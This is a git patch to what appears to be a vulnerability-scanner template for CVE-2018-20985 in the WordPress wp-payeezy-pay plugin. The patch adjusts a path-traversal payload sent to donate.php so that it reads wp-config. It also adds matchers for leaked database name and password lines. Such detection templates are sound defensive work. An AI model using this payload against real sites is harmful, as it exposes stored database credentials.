From 4db131a5d3d3c6ca0d0b5f475f3b65de2c96cea3 Mon Sep 17 00:00:00 2001 From: Prince Chaddha Date: Thu, 22 Jul 2021 19:01:00 +0530 Subject: [PATCH] Update CVE-2018-20985.yaml --- cves/2018/CVE-2018-20985.yaml | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/cves/2018/CVE-2018-20985.yaml b/cves/2018/CVE-2018-20985.yaml index f4865b0ee7..2bbc81587c 100644 --- a/cves/2018/CVE-2018-20985.yaml +++ b/cves/2018/CVE-2018-20985.yaml @@ -15,14 +15,16 @@ requests: path: - "{{BaseURL}}/wp-content/plugins/wp-payeezy-pay/donate.php" - body: "x_login=../../../../wp-config" + body: "x_login=../../../wp-config" matchers-condition: and matchers: - type: word words: - - DB_NAME - - WPENGINE_ACCOUNT + - "The base configuration for WordPress" + - "define( 'DB_NAME'," + - "define( 'DB_PASSWORD'," + condition: and part: body - type: status status: